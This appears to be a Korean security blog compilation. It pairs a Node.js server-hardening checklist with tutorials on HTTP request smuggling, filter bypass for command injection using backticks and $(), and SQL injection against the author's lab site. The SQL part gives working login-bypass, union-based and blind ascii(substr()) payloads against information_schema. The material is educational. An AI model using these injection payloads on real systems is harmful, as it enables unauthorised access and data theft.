* 이 글은 SK Infosec의 오픈소스 소프트웨어 보안가이드를 참조하여 작성하였습니다.


Node.js Security


1. 데몬 관리


1.1 root 권한 실행 금지

  Node.js로 서버를 구동시켰을 때, root 권한으로 실행하면 안된다. root 권한으로 구동된 서버의 경우 취약점으로 인해 Exploit 당해 실행 권한을 넘겨주었을 때 그 권한이 root일 경우 상황이 심각해지기 때문이다.


1.2 요청을 전달할 HTTP 서버/proxy 형태로 구성

  Apache, nginx 등과 같은 HTTP 서버를 통해 요청을 받아 전달하도록 구성해야한다.


1.3 NODE_ENV 설정을 production으로 설정

  개발 당시 develpoment로 설정하여 개발 할 수 있는데, 서비스를 시작할 때 이를 깜빡하여 그대로 서비스를 구동하는 경우가 있다. 이럴 경우 에러에 관해 상세한 정보가 출력되기 때문에 이를 이용해 공격자들이 활용할 수 있다.


* 진단 방법

# ps -ef | grep node





2. 로그 디렉토리/파일 권한 설정


  로그 파일에 공격자에게 유용한 정보가 들어있다. 그래서 권한관리가 필요하며 일반 사용자들이 접근하지 못하도록 권한을 설정한다.


2.1 권한 설정

 # chown nodeapp:node /[구동중인 Node 어플리케이션 로그 디렉토리]    

# chmod 750 /[ 구동중인 Node 어플리케이션 로그 디렉토리]                

# chown nodeapp:node /[구동중인 Node 어플리케이션 로그 디렉토리]/*   

# chmod 640 /[ 구동중인 Node 어플리케이션 로그 디렉토리]/*  


  권한은 WAS 서버 계정 소유여야하며, 디렉토리는 750(drwxr-x---) 파일은 640(-rw-r-----) 권한으로 설정해야한다.


* 진단 방법

# ls –lad /[Node 어플리케이션 로그 디렉토리] 

# ls –la /[Node 어플리케이션 로그 디렉토리]/*






3. 로그 포맷 설정


  로그 포맷을 설정하지 않으면 침해사고 발생 시 공격 여부 파악, 공격자 사용 툴 파악, 공격자 위치 파악이 불가능하다. 그러므로 필요한 정보들로 로그 포맷을 설정해두어야한다.


* Node의 기본 console.log 또는 Express 4.x 이전 버전으로 지원 가능한 로그 출력 기능 외 morgan 등의 추가 로거 모듈을 사용하는 경우 해당되며, 파일의 형태가 아닌 콘솔 출력을 의미함. 어플리케이션 코드 내에서 제어하는 형태로 사용.


3.1 모든 요청에 대해 combined 포맷의 로그를 출력하도록 설정


var express = require('express') 

var morgan = require('morgan')   


var app = express()   


app.use(morgan('combined'))   


app.get('/', function (req, res) {   

   res.send('hello, world!') 

})


* 로그 포맷 지시자


combined : 표준 Apache combined 로그 출력 

:remote-addr - :remote-user [:date[clf]] ":method :url HTTP/:http-version" :status :res[content-length] ":referrer" ":user-agent"


common : 표준 Apache common 로그 출력

:remote-addr - :remote-user [:date[clf]] ":method :url HTTP/:http-version" :status :res[content-length]


dev : 개발을 위해 response에 따라 색상이 입혀진 축약 로그 출력 

:method :url :status :response-time ms - :res[content-length]


short : 기본 설정보다 짧은 로그 출력, 응답 시간 포함 

:remote-addr :remote-user :method :url HTTP/:http-version :status :res[content-length] - :response-time ms


tiny : 최소화된 로그 출력 

:method :url :status :res[content-length] - :response-time ms


* 사전에 morgan 모듈을 설치했다고 가정했다.


* 진단 방법

  소스 코드 내 log 내용 확인 또는 개발자 인터뷰

  로그포맷 설정 값이 combined가 아니거나 그에 준하지 않는 포맷 토큰 조함으로 설정되어 있는 경우 취약함.





4. 로그 저장 주기


  ‘정보통신망이용촉진및정보보호등에관한법률’, ‘개인정보보호법’, ‘회사사규’ 등에 따라 로그 파일은 최소 6개월 이상의 기간은 보관해야한다. 또한 담당자는 로그 기록을 정기적으로 백업 및 확인 감독!


 4.1 정보 보호 관련 법 및 개인정보보호법 등에 따라 최소 아래 기간 이상은 보관해야한다.


1) 사용자접속 기록

사용자 로그인/로그아웃/정보변경 등 -> 6개월 이상


2) 개인정보취급자의개인정보처리시스템접속기록

정보주체 식별정보/개인정보취급자 식별정보/ 접속일시/접속지 정보/ 부여된 권한 유형에 따른 수행업무 등 -> 2년 이상


3) 개인정보취급자권한변경기록 

개인정보취급자 권한 생성/변경/삭제 등 -> 5년 이상


4.2 담당자는 접속 기록을 월 1회 이상 정기적으로 확인·감독하여, 접속과 관련 된 오류 및  부정행위가 발생하거나 예상 되는 경우 즉각적인 보고 조치가 되도록 해야 한다.


4.3 접속 기록이 위·변조 되지 않도록 별도의 물리적인 저장 장치에 보관하여야 하며  정기적인 백업을 수행 해야 한다.


* 진단 방법

  서버 운영 또는 담장자 인터뷰






5. 헤더 노출 정보 방지


  HTTP 요청에 대한 응답 시 헤더에 서버 이름, 버전 등의 정보가 포함되어 공격자가 해당 정보를 공격에 이용할 수 있다.


* Node의 헤더 관련 개별 설정 방법 외 helmet과 보안 관련 HTTP 헤더 모듈을 사용한 경우엥 해당된다.


5.1 Node 어플리케이션 코드 내에 모듈 사용 설정 

var express = require('express');   

var helmet = require('helmet'); 

 

var app = express(); 

 

app.use(helmet()); 


  위 설정은 Apache, nginx 등의 웹 서버 환경 설정을 통해서도 같은 설정이 가능하다.


* 진단 방법

  소스 코드 내 헤더 설정 관련 확인 또는 개발자 인터뷰





* 보안 패치


  최신의 보안 패치 필요. Node.js 뿐 아니라 추가한 Express 모듈 또한 패치에 신경 써야한다. 주기적으로 보안 패치를 적용하지 않으면 exploit 공격, 제로데이 공격 등의 서버 침해가 발생할 수 있다.


* Node.js 0.10.42 이전 0.10.x, 0.12.10 이전 0.12.x, 4.3.0 이전 4.x, 5.6.0 이전 5.x 버전들에서 원격 공격자의 조작된 Content-Length HTTP 헤더를 통한 HTTP request smuggling 공격을 허용할 수 있다.


(* HTTP Request Smuggling 공격은 Web Hacking 카테고리에 글을 포스팅 하였다. ) 


HTTP Request Smuggling


Normaltic 작성

 

HTTP Request Smuggling (HRS) ?

HTTPContent-Length 헤더 변수를 조작하여 원하는 데이터 혹은 패킷을 Smuggling(밀수) 몰래 들여보내는 것이다. 이 공격을 통해 웹 서버 앞의 방화벽(F/W)을 우회하거나, 웹 캐시 서버의 Cache-Poisoning 등을 할 수 있다.

 

* 본 자료는 http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf 을 참조하여 작성하였다.


(1) Web Cache Poisoning

  이 공격을 가능하게 하는 취약점은 바로 HTTPPost 패킷에 Content-Length 헤더가 2개가 들어있을 때 받아들이는 방식이 웹 캐시 서버(Proxy)와 웹 서버(W/S)가 다르다는 점이다.

 

-> 그렇다면 HTTP Post 패킷에 Content-Length 헤더가 다른 값으로 2개 들어가있으면 서버는 어떻게 처리할까?

이는 서버마다 다 다르다. 예를 들면, SunONE W/S 6.1 (SP1)의 경우 첫 번째의 Content-Length 헤더를 사용한다. 반대로 SunONE Proxy 3.6 (SP4)의 경우 두 번째의 Content-Length 헤더를 사용한다.

 

위와 같은 차이로 인해 악의적인 Web Cache Poisoning이 가능하다. SunONE W/S 6.1 (SP1)의 서버 앞에 SunONE Proxy 3.6 (SP4)Proxy 서버로 있으며 SITE라는 DNS 주소를 가진 서버라고 가정하고 공격해보겠다.


< 공격 모습 >


  위와 같은 패킷들이 서버에 전달 되었을 때, Proxy 서버의 경우 1-7 번 라인을 POST Request라고 먼저 인식하게 된다. 그리고 Content-Length 헤더가 두 개 있다는 것을 알게 되는데 여기서 Proxy서버의 경우 첫 번째 Content-Length 헤더를 무시하고 두 번째의 Content-Length 헤더를 사용하여 Body의 길이가 44라고 인식하게 된다. 여기서 8-10 번 라인이 정확하게 44 바이트이다. 그러므로 8-10 번 라인을 첫 번째 POST 패킷의 Body라고 인식하게 되는 것이다. 그 다음으로 Proxy 서버는 11-14 번 라인을 GET Request로 인식한다.

 

  이제 웹서버의 경우를 보자. 웹 서버의 경우 Proxy 서버와 달리 첫 번째 Content-Length 헤더를 사용한다. 그래서 Body 길이가 0이라고 인식한다. 그렇게 되면 8번부터 새로운 GET 요청으로 인식하게 되는 것이다. 여기서 주목할 점은 10번 라인 다음에 CRLF 이 없다는 것이다. 그렇기 때문에 11번 라인이 새로운 GET Request로 인식되지 않고 8번 라인의 GET Request 패킷의 Bla 헤더의 으로 인식 되는 것이다.

 

  정리해보면 다음 표와 같다.


< 정리 >


  ProxyWeb 서버에서 둘 모두 2개의 Request가 왔다고 인식한다. 하지만 그 2개의 내용이 다르다. 어떤 2개의 Request인지는 위의 표로 정리하였고 내용은 다음과 같다.

 

  Proxy에서 2번 째 Request“http://SITE/page to poison.html”을 요청한다고 인식하였고, Web 서버에서 2번째 Request“/poison.html”을 요청한다고 인식하였다. Web 서버는 “/poison.html” 요청의 결과를 돌려주는데 이 때 Proxy 서버가 이를 캐싱해 둔다면 Proxy 서버는 “http://SITE/page to poison.html” 요청과 “/poison.html”의 결과를 매칭시켜 저장하게 된다.

 

* 더 강력하게 효과 보는 경우

  만약 서버가 가상 호스팅하고 있는 경우라면, 효과가 더 강력할 수 있다. IP는 같으므로 HTTP 패킷 안에 host 헤더만 다시 설정하므로써 다른 많은 사이트들에 대해 공격을 할 수 있다.

 

  이를 통해 악의적으로 Web Cache를 조작할 수 있게 된다. 이 것이 Web Cache Poisoning의 공격에 활용 될 수 있는 방법이다.


(2) Firewall/IPS/IDS 우회

 

방화벽이나 IPS, IDS의 경우 특징 기반으로 악성 패킷을 검출한다. 예를 들어 “cmd.exe”라는 문자열이 URL에 들어가 있다거나 하는 특징들이 있다. 혹은 SQL Injection에서 사용하는 특징들을 생각해 볼 수 있다.

 

이 자료에서 보여주는 공격은 IIS/5.0 기반 서버에서 이루어진다. ISS/5.0는 큰 Body를 가진 POST Request를 처리할 때 버그가 일어난다. 바로, RequestContent-Type헤더에 정해진 타입이 아닌 경우 49,152 Bytes(48K) 만큼 잘라서 읽는다. 그래서 48K + X 의 크기로 보내게 되면 X 만큼의 데이터를 Smuggling할 수 있게 된다.

 

아래 공격 예시는 ISS/5.0 서버이고 앞 단에 Firewall이 설치 되어있는 경우이다. 공격 목적은 Firewall을 우회하여 서버에 “cmd.exe” 문자열이 도착하게 하는 것이다.


< 공격 패킷 >


  위와 같은 모습으로 패킷을 전달하게 되면, Firewall 입장에서는 첫 번째 Request49223 Byte 크기의 Body를 가지고 있다고 인식하게 된다. 위에서 보면 10번 라인 까지를 첫 번째 Request로 인식한다. 그 다음 Firewall은 두 번째 Request11번 라인부터 인식하게 되는데 주목할 점은 12번 라인이다. 12번 라인 뒤에 CRLF가 없다. 그렇기 때문에 13번라인부터가 두 번째 RequestBla헤더의 값에 포함되어 인식되는 것이다. 그렇게 되면 Firewall은 이 2가지 패킷을 막지 않는다. 이유는 URL에 공격 패턴이 없었기 때문이다.

 

  하지만 Firewall을 지나서 서버에 도착하면 상황이 달라진다. IIS/5.0 서버에서 첫 번째 Request를 보면 Content-Type이 없다. 그렇기 때문에 서버는 49152 크기로 Body를 잘라버린다. 그러면 1-6번 라인이 첫 번째 Request로 인식 되는 것이다. 그리고 두 번째 Request7번 라인부터 인식이 되는데, Content-Length30으로 되어있다. 그래서 Body11-12번 라인이 포함된다. 그렇게 되면 서버 입장에서는 다음 Request13번부터 받아들이게 되는데 13-15번 라인의 Request를 보면 URL“cmd.exe” 문자열이 있는 것을 확인 할 수 있다. 그렇게 되면 서버 입장에서는 “cmd.exe”를 실행되어 공격이 이루어 질 수 있다. 인식하는 Request를 정리해보면 아래 표와 같다.


< 정리 >


(3) Forward VS Backward HRS

 

일반적으로 HRS 공격은 3개의 Request를 보내는데, Content-Length를 조작하여 각각 다른 2개의 Request로 보이게 하는 원리로 공격이 일어난다. 첫 번째 예에서는 req1, req2를 웹 서버가 인식하고, req1, req3Proxy가 인식하므로써 공격이 일어났는데, 이러한 경우를 Forward Smuggling이라고 한다.


< Forward Smuggling >


  이와 반대로 Backward Smuggling이 있다.

< Backward Smuggling >


  Forward Smuggling보다 Backward Smuggling 공격이 훨씬 어렵다. 그 이유는 ProxyRequest를 받고 웹 서버에 전달하는데 그에 대한 응답을 받을 때 까지 다음 Request를 보내지 않기 때문이다. 이럴 경우 Proxy는 첫 번째 Request라고 인식하여 보내고 그에 대한 응답을 기다리는데 웹 서버의 경우 Request가 다 도착하지 않았으므로 기다리게 된다. 그러면 Deadlock에 빠지게 된다. 이렇게 보면 이론적으로 Backward Smuggling이 불가능한 것처럼 보인다. 하지만 예외의 경우가 있다.


  이번 예시는 DeleGate/8.9.2 캐시 서버를 사용한다. 그리고 웹 서버로는 IIS/6.0, Tomcat, SunONE 서버 등을 사용할 수 있다. 이번 트릭은 바로 이 것이다. 우리는 GET Request를 사용할 것이다. 그런데 이 GET RequestContent-Length 헤더와 값을 넣어서 보낼 것이다. DeleGateGET RequestContent-Length0이라고 생각한다. , Body가 없다고 생각하는 것이다. (실제로 GET에는 Body가 없다.) 반대로 웹 서버는 Content-Length 값 만큼의 Body가 있는 Request라고 생각한다. 그렇지만 웹 서버는 Body를 받기 전에 응답을 보내준다. 바로 이 점에서 Backward Smuggling이 가능한 것이다. 웹 서버는 Body가 있는 Request라고 생각하지만, GET 요청이므로 Body부분이 도착하기 전에 응답을 보내는 것이다.

 

  공격 예시는 다음과 같다.


< Backward Smuggling >


  위의 패킷을 보내게 되면, DeleGateContent-Length 헤더를 무시한다. 이유는 GET 요청이기 때문이다. 첫 번째 요청을 1-6 번 라인이라고 인식한다. 그 후 7-10번 라인 까지를 두 번째 요청이라고 생각한다. 이유는 8번 라인 다음에 CRLF가 나오지 않았기에 9-10번 라인이 Bla 헤더의 값이라고 생각하기 때문이다. 이와 반대로 웹 서버에서는 첫 번째 요청이 40 바이트 크기의 Body를 가진 요청이라고 생각한다. 그렇기에 1-6번 라인까지 받았을 때 GET이기 때문에 응답은 하되, 나머지 40 바이트 크기의 Body를 기다린다. 그 후 7-8번 라인까지 40 바이트가 들어오면 첫 번째 요청의 Body라고 인식한다. 그 후 9-10번 라인의 요청을 두 번째 요청이라고 생각하는 것이다. 이렇게 악의적으로 인식되는 요청은 3번째(후자) 이므로 Backward Smuggling이 가능하게 되는 것이다


(4) Request Hijacking ( HTTP Request Smuggling Through a Proxy Server )


  HTTP Request Smuggling 공격을 통해 XXS 공격과 비슷한 결과를 만들 수 있다. XXS 공격이란 간단히 설명하면 클라이언트(피해자) 컴퓨터에서 악성 스크립트가 실행되도록 하는 공격이다. 비슷한 결과를 만들지만 XXS 공격보다 훨씬 더 성능이 좋다. 그 이유는 HttpOnly Cookie 정보나 HTTP 인증 정보들을 직접 가져갈 수 있기 때문이다. ( Cross Site Tracing이 필요없다. )

 

(* 참고 : Cross Site Tracing : HTTPTRACE 방식을 지원 할 때 가능. )

 

  Request Hijacking의 선행 조건

 

    1. 서버 앞단에 Proxy 서버가 존재해야한다. ( Web Cache Poisoning과 달리 캐싱기능은 없어도 된다. )

    2. 해당 웹 서버에 XXS 취약점이 존재해야한다.


< Request Hijacking 원리 >


  공격 예시는 위와 같다. 위 데이터를 보내게 되면, Proxy 서버에서는 두 번째 Content-Length로 인식하고 위 전체 내용이 하나의 요청으로 전달된다. 하지만 서버에 도착해서 서버가 해석하기를 첫 번째 Content-Length로 인식하여 1-7번 라인(this=that까지) 의 요청으로 인식하고 응답한다. 그 뒤 데이터를 POST 요청으로 인식한다. 여기서 Content-Length95로 잡아주었는데 여기서 94 바이트만 제공되어있다. 그러면 나머지 한 바이트를 서버는 기다리게 된다. 이 때 피해자가 GET 방식으로 요청을 했다고 가정하자. 그렇게 되면 한 바이트를 기다리면 요청이 있는데 여기에 데이터의 맨 앞 ‘G’라는 문자가 소모된다


< 완성되는 요청 >


 

  그렇게 되면 위와 같은 요청이 완성된다. 이 요청에 대한 응답으로 cookie를 출력하는 스크립트가 피해자에게 전송되는 것이고 그렇게 피해자의 컴퓨터에서 임의의 스크립트가 실행되는 것이다.

 

  그런데, 이는 HTTP Request Smuggling을 통해 어떻게 악성 스크립트가 실행되는지를 확인한 것이다. 이를 이용해 세션정보가 있는 cookie와 인증 정보를 탈취하기 위해서는 약간의 트릭이 필요하다.


< 자바 스크립트 >


  위 자바 스크립트는 document의 텍스트 정보들을 단일 문자열로 concat한 후, 앞에서부터 300바이트를 잘라내는 동작을 한다. 이를 이용해 다음과 같은 공격 패킷들을 구성했다고 해보자.


< 스크립트를 추가한 패킷모습 >


  param1 변수부터 시작되는 body의 길이는 277바이트만 제공하였다. 이렇게 되면 나머지 300바이트를 웹 서버는 기다리게 된다. 피해자가 보낸 요청으로부터의 300바이트를 사용하게 된다. 이 상태의 응답이 클라이언트(피해자)에게 전송되고 피해자의 브라우저에서 해당 응답이 로딩될 때, 삽입한 스크립트가 실행된다. document의 텍스트 부분 앞에서 300바이트를 잘라내는데 이 안에 보통 Cookie와 인증 정보 헤더가 담겨있다. 또한 이와 함께 URL도 담겨있는데 이를 활용해 해당 사이트의 인증 정보와 쿠키를 Hijacking 할 수 있다.


(5) Request Credential Hijacking ( HTTP Request Smuggling Through a Proxy Server )

 

  클라이언트의 크리덴셜을 가지고 특정 스크립트를 실행시키는 또 다른 방법이 있다. 이 방법은 클라이언트의 크리덴셜을 가지고 악성 스크립트를 실행한다는 것으로 CSRF(Cross-Site Request Forgery) 공격과 비슷하다. 그러나 CSRF보다 훨씬더 효과가 좋다. 그 이유는 클라이언트(피해자)와 상호작용할 필요가 없기 때문이다.


< 공격 패킷 >


  이 때 피해자가 아래와 같은 요청을 했다고 가정하자.

< 피해자의 요청 >


  그렇게 되면 위 공격 패킷의 빨간 부분(GET 요청)에 최종적으로 아래와 같은 패킷이 만들어지게 된다

만들어진 위조된 요청 >

이 요청은 ‘/some_page.jsp’의 페이지에서 피해자의 크리덴셜을 가지고 요청이 되는 것이다. 그렇게 되면 CSRF와 비슷한 효과를 낼 수 있다. 만약 이 ‘/some_page.jsp’ 페이지가 비밀번호 변경 페이지라던가, 큰 돈을 전송하는 페이지였다면 피해가 컸을 것이다.


* 웹 해킹을 하면서, 웹 해킹 문제를 풀면서 Command Injection을 해야하는 상황이 종종 나타난다.

하지만, 이 또한 SQL Injection과 함께 널리 알려져 있기 때문에 보통 막아놓는다.
예를들어
$key = $_REQUEST["input"];
system("grep -i \"$key\" action.txt");
예를 들어 이러한 코드가 있다고 가정해보자!

Injection공격에 익숙한 사람들이라면 Injection 취약점이 있다는 것을 바로 알 수 있다.
key라는 변수를 GET방식으로 받아와 직접 명령어를 전달한다.
여기서 | (pipe) 혹은 ; (세미콜론)을 쓴다거나 등등 여러 방법으로 내가 원하는 명령을
함께 실행 할 수 있는 것이다.

그런데 만약 여기에
(preg_match('/[;|&`\'"]/',$key))
이러한 코드 문구가 있고 필터링 되고있다면??
우리가 알고있는 pipe도 못쓰고 세미콜론도 못쓰고...
게다가
%0a로 개행하여 명령을 전달하려해도 우리가 입력한 값이 "" 더블쿼터안에 들어가기 때문에
명령어로 인식이 안된다..

그렇다면 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 찾으면 좋을텐데..!

그래서 오늘은 더블쿼터 안에서 명령어를 실행할 수 있는 방법을 정리하고자한다.
Command Injection으로 활용할 수 있다.

명령어로 인식되게 하는 특수문자가 리눅스에 있다.

예를들어 uname이라는 명령어를 리눅스에서 입력하면
현재 사용되고 있는 OS 정보를 보여준다.



(uname 명령)



여기서 mkdir로 폴더를 만드는데
#> mkdir uname
이라고 입력을 하면
uname이라는 폴더가 만들어진다.



(uname 폴더 생성)



하지만 여기서
#> mkdir `uname`
을 입력하면 `(백쿼터) 안에 있는 uname이 명령으로 인식되어 명령이 전달된 값 Linux라는 폴더를 만들게 된다.



(명령어로 인식)



아하!!
`(백쿼터) 안에 있으면 명령어로 인식되는 것을 알 수 있다.

하지만..
위에서 필터링 되고있는 것들을 보면 `(백쿼터)가 포함되어있다.
다른 방법이 하나 또 있다.
바로 $() 이 안에다 쓰면 명령어로 인식이 된다.
Linux라는 폴더를 지우고 다시한번 똑같이 해보겠다.



(명령어로 인식)



역시 명령어로 인식되는 것을 확인 할 수 있다.

명령어로 인식되게 할 수 있는 방법
1. ` uname` 
2. $(uname)  




SQL Injection을 크게 두 종류로 본다면
Numeric Injection과 String Injection이 있다.

1) Numeric Injection
- SQL Injection 취약점이 존재하는 입력의 형태가 정수일 때의 Injection이다.
정수의 타입으로 입력하기 때문에
String과 달리 ' 작은 따옴표가 없다.
그래서 뒤에 추가적인 명령을 바로 입력하여 SQL Injection을 할 수 있다.
ex)
select * from news where no=1 union select * from news
* 띄어쓰기를 할 수 있어야 추가적인 명령을 할 수 있다.
(만약 코드 상에 trim()이나 공백을 지워주는 함수가 있다면 불가능하다..)


2) String Injection
- Injection 취약점이 존재하는 입력의 형태가 문자일 때의 Injection이다.
우리가 입력하는 것이 작은따옴표 ' 안으로 들어가기 때문에 Numeric Injection처럼 바로 명령을 이어붙이지는 못한다. 다만 ' 따옴표를 사용해 문자열을 잘라줄 수 있으면 된다.

예를들어 아래와 같이 where 조건 이 항상 참인 경우( 1인경우 )
전체 값을 불러오는 것을 확인 할 수 있다.



(where 참 경우)



이 것을 이용해 id에는 String이 들어가므로
아래와 같이 항상 참이도록 SQL Injection을 하면 전체 ID 정보를 가져올 수 있고
인증에 성공하게 된다. (우리가 인증과정을 해당 ID와 비밀번호가 조건에 맞는 데이터가 있다면 인증에 성공하게 만들었다.)
(사실 이 코드는 굉장히 효율적이지만 치명적인 SQL Injection 취약점이 있다. 위와같이)

그렇다면 아래와 같이 Injection을 해보겠다.



(SQL Injection)




결과...
성공하지 못했다.

SQL Log를 살펴보니.!



(SQL Log 확인)



우리가 입력한 ' (작은 따옴표) 앞에 \(역슬래쉬) 이스케이프 문자가 붙어진 것을 확인 할 수 있다.
그렇기에
우리가 입력한 작은 따옴표가 제 역할을 하지 못한 것이다.
이유는! 바로 우리가 전에 /etc/php.ini 설정 파일에서 magic_quotes_gpc 라는 설정을 해주었기 때문이다..!
이렇게 되면 String Injection은 난이도가 팍! 올라간다..!
지금 우리는 SQL Injection을 확인해보는 것이므로... ㅎㅎ
설정 해제 후 확인해보도록 하자! :)



(설정 해제)



그 후 같은 SQL Injection 모습이다.



(로그인 성공)



원리는
위에서 설명한것 과 같이 항상 참이 나오는 SQL 명령을 삽입하였다. 물론 뒷부분은 처리되지 않도록 주석처리 하였다 .(#을 이용해서)
그래서 ID와 비밀번호 데이터가 전부 가져와졌고 우리가 만든 페이지 코드에서 데이터가 있다면 인증에 통과하도록 했기 때문에 통과 되는 것이다.

그렇다면 아이디 부분이 아닌 비밀번호 부분도 마찬가지 String이므로 같은 공격을 할 수 있다.


(SQL Injection)



Log를 확인해보면 우리가 원하는 SQL 명령이 들어간 것을 확인해 볼 수 있다.
조금 다른건
비밀번호 입력한 것이 password() 괄호 안에 들어가므로
1' ) or 1#
이렇게 괄호를 닫아주는 센스?!



(Log 확인)



이렇게 하면
없는 ID로도 로그인이 가능하다.



(로그인 우회)



그렇다면 이제 난이도를 올려보자!
분명 위에 처럼 where를 사용하여 조건에 맞는 데이터가 있다면 인증하는 것도 굉장히 혁신적인 코드이지만 취약점이 있다...
이제 우리는 아이디와 비밀번호를 DB에서 확인하여 일치하면 인증을 하도록 난이도를 올리겠다.



(난이도 업 코드)



ID만 쿼리문에 들어가있다. ID만 검색한 후 그 데이터에서 비밀번호를 입력받은 비밀번호와 일치하는지에 따라 인증을 하는 코드이다.

과연 이것을 우회할 수 있을까?
생각보다 간단하다 :)

저 코드를 잘 보면 알 수 있게 된다.
전 글에서 우리가
select * from login union select 1,2 from login
이렇게 하면 1, 2 컬럼이 추가되어 나오는 것을 확인한 적이 있다.
(기억이 안난다면 지난 글 확인!)

이것을 이용하는 것이다.
코드를 보면 사용되는 쿼리문은
select * from login where user='id' 이다.
여기서 id 에다가 다른값을 넣어준 후 작은따옴표로 문자열을 닫고 union으로 추가해서 우리가 원하는 값이 나오도록 하는 것이다.
Ex)
select * from login where user='1' union select 1, 2 from login;
을 하게 되면 어떤 데이터가 받아와질까?
바로 user가 1인 데이터가 없으므로

user  |  pass
  1         2 

이런 데이터가 받아와지는 것이다. 코드를 보면 이럴 경우 pass의 값 2를 가져오게 되고
우리가 만약 비밀번호에 2를 입력한다면? => ?!?!

하지만 코드를 잘보라~
입력받은 비밀번호를 md5해서 비교하고 있다.
(사실 DB의 값을 바꿔놨다. password에 md5로 해쉬한 값을 넣어놨다.)

그렇다면 mysql 내장함수를 이용하여
select * from login where user='1' union select 1, md5(2) from login;
를 한다면
2가 아닌 md5로 해쉬한 2의 값이 나오게 되고
우리가 비밀번호에 2를 입력하면
모든 조건이 맞는 것이다.!
즉! 우회 성공!

확인해보겠다.
select * from login where user='1' union select 1, md5(2) from login; 이 나올수 있도록
1' union select 1, md5(2) from login# 을 넣어주고
비밀번호에 2를 입력해주었다.



(SQL Injection)



결과..



(우회 성공)




이처럼 SQL 에 취약한 코드가 있다면 안전한 인증을 사용해도 우회가 가능하다는
가능성을 보았다.!




DB의 정보를 확인하기 위해
지난 글에서 SQL Injection을 했다. 바로 Guessing(추측) 공격으로 말이다.

하지만 DB에 관한 지식? 정보를 알면 조금 더 정확하게(?) 정보를 꺼낼 수 있다.

우리가 지금 사용하는 MySQL에 관한 지식을 이해해보면서
이러한 가능성을 이해해보자 :)

MySQL에는 기본 DB가 있다. (우리가 만들지 않아도)
그 중 하나가 information_schema인데 이 DB에는 DB내의 모든 정보가 들어있다.
information_schema는 MySQL5 이상에서만 존재한다.
이 DB는 논리적인 DB로 수정이나 삭제가 불가능하다.

이 information_schema DB를 살펴보자!



(information_schema DB)



이 DB에 들어있는 테이블들을 확인해보면
DB 정보가 들어있는 테이블들을 확인 할 수 있다.
여기서 우리는 테이블 정보가 들어있는 tables 라는 테이블을 확인해보겠다.



(TABLES 테이블)



테이블 내용 중 몇가지만 명령문에 넣어 select 명령문을 사용해보겠다.



(TABLES 내용 확인)



그렇다면
다른 DB에서도 information_schema DB에 들어있는 정보를 SELECT해서 확인 할 수 있는지 확인해보겠다.



(다른 DB에서 SELECT)



에러가 난다.!
그런데 에러 내용을 보니 blind.columns 이 없다고 나온다. 즉 경로를 입력해줘야 한다는 뜻이다.


select 1, column_name, table_name from information_schema.columns;
이런식으로 명령을 내리면 다른 DB에서도 해당 DB의 테이블 정보를 확인 할 수 있다.
그렇다면 union명령으로 SQL Injection 해보겠다.
information_schema 정보를 가져올 수 있다면 다른 DB에 대한 정보를 이용해 여러가지 정보를 가져올 수 있기 때문에 중요한 것이다.



(SQL Injection)



명령
http://100.100.100.129/view.php?no=1 union select 1, column_name, table_name from information_schema.columns;



(실행 결과)



실행 결과를 보니 information_schema DB의 columns 테이블의 정보들 중 우리가 선택한 column_name, table_name 정보가 나오는 것을 확인 할 수 있다. 첫번째 컬럼은 화면에 출력 되지 않으므로 그냥 1로 한 것이다.
우리가 이 페이지를 만들 때 일부러 취약하게 만들기 위해 while문을 사용했었는데
난이도를 올려 while을 제거해보겠다.


(while 제거)



제거하면 기존의 페이지 모습과 같다.



(제거한 모습)





(거짓 Injection)





(참 Injection)



다만,
아까와 같이 SQL Injection 시 정보가 주르륵 전부 나오지 않고 하나만 나오기 때문에 그리고 제일 먼저 담겨오는 원래정보만 나오기 때문에 난이도가 올라간다.
즉 여기서 우리는 새로운 명령 문법을 배워야한다.
바로 limit 명령이다.
limit을 이용하면 select의 개수를 정할 수 있다.
* limit 을 이용하면 출력의 개수를 정해줄 수 있다.

또 출력을 시작할 행의 번호 또한 지정할 수 있다.
MySQL에서는 0번부터 시작한다.
mysql> select * from [Table] limit 시작, 갯수;



(사용 예시)



위 사용은 10번째 행부터 10개 까지만 가져오도록 하는 명령을 사용한 것이다.

이것을 이용하면 아까 우리 페이지는 한개의 행만 가져올 수 있으므로 개수는 1개로 지정하되
시작하는 행의 번호는 자유이므로 아래와 같이 명령을 하게되면 정보를 확인 할 수 있게 된다.



(테이블 정보 확인)



이를 이용해
http://100.100.100.129/view.php?no=1 union select 1,2,table_name from information_schema.tables limit 1,1
이렇게 url로 SQL Injection을 하면 아래와 같이 나온다.



(실행 결과)




(실행 결과2)



여기서 난이도를 더 올려보겠다.
만약 화면에 DB 정보가 안나온다면??..



(DB정보 출력 제거)



난이도를 올린 페이지 모습



(업그레이드 페이지 모습)




(참 Injection)





(거짓 Injection)



참과 거짓을 이용했을 때 화면에 문구가 나오느냐 안나오느냐 확인 할 수 있으므로
SQL Injection에 취약한 지는 체크할 수 있다.

하지만 DB정보가 출력되는 곳이 없는데 어떻게 정보를 확인할 수 있단 말인가...

이를 이해하기 위해 우리는 또다른 mysql 명령 문법을 알고 가는 것이 좋다.
substr 이라는 문법이다.
이 문법은 php에서도 사용된다.

바로 문자열을 분할하는 함수이다.
이 함수를 이용하면 아래와 같이 한글자를 확인 할 수 있다.



(substr 이용 확인)



위 화면은 information_schema DB에 있는 tables 라는 테이블에 테이블 이름 컬럼의 정보 중 첫번째 행의 데이터의 첫번째 글자를 확인한 것이다.

이를 우리는 웹에서 DB정보가 출력되는 것이 없기 때문에 참과 거짓을 이용하여 찾을 것이다.
그러기 위해 참과 거짓이 되게 비교를 해야하는데 물론 문자도 비교가 되지만 정확하게 하기 위하여
아스키코드를 비교하는 것이 좋다.



(아스키 코드 비교 화면)



이를 이용하여 아래와 같이 비교문장을 and 뒤에 추가하면 만약 참이되면
화면에 글자가 나올것이고(Welcome 어쩌구)
만약 거짓이면 and이기 때문에 화면에 아무 글자도 출력되지 않을 것이다.
바로 이것을 이용하여 찾는 것이다.



(SQL Injection)





(거짓 화면)



그렇다면 66이 아니니 67을 너보는 것이다.



(참 화면)



67일 때 글자가 나온것을 봐서
67이구나 즉 C라는 글자구나라고 생각할 수 있다.
이런 식으로
ascii(substr( (select table_name from information_schema.tables limit 1,1), 2,1)) = 66;
ascii(substr( (select table_name from information_schema.tables limit 1,1), 3,1)) = 66;
...
이렇게 한글자씩 찾는 것이다.

비교문이므로 크다, 작다 부등호로도 판별이 가능하다.



(부등호 사용)



이제 난이도를 더 올려보겠다.
